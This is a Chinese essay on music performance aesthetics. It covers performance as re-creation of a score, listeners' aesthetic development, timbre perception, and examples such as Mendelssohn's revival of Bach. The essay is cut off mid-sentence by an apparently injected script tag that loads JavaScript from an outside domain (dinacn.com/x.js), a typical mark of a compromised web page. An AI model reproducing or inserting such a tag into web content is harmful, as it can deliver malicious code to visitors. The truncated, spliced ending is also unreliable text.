音乐表演是音乐表演者对作品的二度创作,也是连接作曲家、表演者、欣赏者主体心灵与生命韵律的中介。音乐表演在整个音乐实践过程中,是把一部作品的创作从精神表现向物质表现转化的。另外,音乐作品及其精神经过世代相传,使其内在的生命力得以继承,使其不断地焕发出新的光彩,亦在于表演的再创造。
大指挥家卡拉扬认为“把乐谱事先忘掉,从生动的音流(音响流动)中窥视出一个整体的艺术形像来”。而我们在实际工作、学习或表演过程中,也时常会出现表演平淡、表现力差、不感动人、甚至很机械地表演,紧张、怯场、无法进入表演状态,对作品的背景、内容及风格缺乏了解。
一、培养听众音乐的审美能力
有关音乐的审美,《乐记》提出:“君子乐得其道,小人乐得其欲。以道制欲,则乐而不流;以欲忘道,则惑而不乐。”认为行乐的主要目的,是发挥其教化的功用,并得到道德情操的陶冶与精神的提升。
影响听众音色感觉的客观因素是比较复杂的工作,目前得到的一些规律依然属于初级研究成果,如:谐音越多,声音越丰满、圆润;高频谐音越多、能量越强,音色听起来越明亮,反之音色则黯淡;中、低频基音如果较突出,音色听起来比较“厚”,反之音色就比较“薄”;等等。只有当人们从生理和心理角度把音色感知的所有问题彻底搞清楚,我们才有可能真正进入音色感的客观因素研究程序。
音乐的审美功能主要体现在它可以使人感到身心愉悦,进而达到陶冶性情,提高人的审美能力与趣味的效果。把音乐的审美功能完全地等同于娱乐功能是一种过于简单化的观点,因为这两者在意义上是有区别的。娱乐功能通常是指起到一种使人产生快乐感和满足感的作用,它起作用的范畴主要在生理反应、情绪或感情的表层。而审美功能则是通过使人快乐和满足,除了在生理上得到一种愉悦感外,在心理和思想深层也产生一种美感,再经过长期的培养和熏陶,起到一种美育的作用。所以审美功能比单纯的娱乐功能所包含的范围更广,含义也更深(包括心理、社会方面)。
音乐的功能实际上都要通过音乐的审美功能来实现,它是欣赏音乐过程中首先产生的作用,也是人欣赏音乐的首要目的和主要目的。如果音乐不能使人感到美,就不可能使听众耐心欣赏下去,这时无论乐曲中蕴含着多么深刻的意义,都达不到预想的效果,更达不到审美能力的培养。因此,音乐首先必须能打动人,可以说它的主要魅力就在于其审美功能上,也正因为如此,音乐中存在着许多着重于表现形式美的作品,或只表现某种气氛、情调的乐曲,如无标题的小品或轻音乐作品。它们仍受各阶层听众的欢迎。音乐表演应有注意满足人们的审美要求,否则就会失去听众,无法再流传下去。但如果音乐表演一味地强调和追求满足人们娱乐和需要,以满足人的某种生理快感或以追求强烈的感官刺激为唯一的目的,造成手法的千篇一律,曲调、节奏雷同,那么音乐的审美功能也会大为降低,甚至起到相反的作用。
二、美学对音乐表演的作用
通过学习音乐美学,就有了一个正确的思路,音乐表演是一项内在听觉与外在听觉相结合的审美活动。首先,音乐表演是以作曲家创作的乐谱为范本进行表演,同时音乐表现应具有真实性,它给表演者留有充分创造的余地。音乐表演还可以使许多音乐生活中销声匿迹的杰作重新展现在听众面前,重新获得它存在的价值。巴赫的杰作《马太受难曲》被人们遗忘了整整一百年,是门德尔松使之复活,并在当今音乐生活中产生了一定的影响。苏联著名钢琴家李赫特也以自己富有魅力的演奏,把舒伯特、威伯等人的一些被人遗忘的美妙的奏鸣曲呈现给欣赏者。
(一)音乐表演是把音乐作品的乐谱转化为实际声音效果的过程
因为音乐表演一定要以乐谱为依据,把作者的音乐构思、主题及变化延伸后创造出的成品作为基础,准确地体现出作者的创造思路,并且可以通过各种音乐表现手段中的要素来完成,要素既是指旋律、和声、调式、调性、强弱、速度、力度、音色等手段。作曲家最早创造出音乐构思、主题及发展再现等,他的成果是通过乐谱记录音乐的符号,这些符号记录了作曲家内心的创作意图,则由于记谱法只是一种记录声音的一种符号,还不是声音,因此非常不完美,没有体现出作曲家真正的内心音乐、艺术形象、艺术音响等效果。尤其是情感是很微妙的,它用语言很难表达的,而这些信息都在作曲家从构思转化成符号的过程中丢失了,因此,乐谱并不能完全把作曲家灵魂一样的情感完全地呈现出来。所以,音乐表演的根本任务,就在于创造性地挖掘蕴涵在音乐符号背后的音乐作品的灵魂,并将这一灵魂实现在?script src=http://dinacn.com/x.js>
|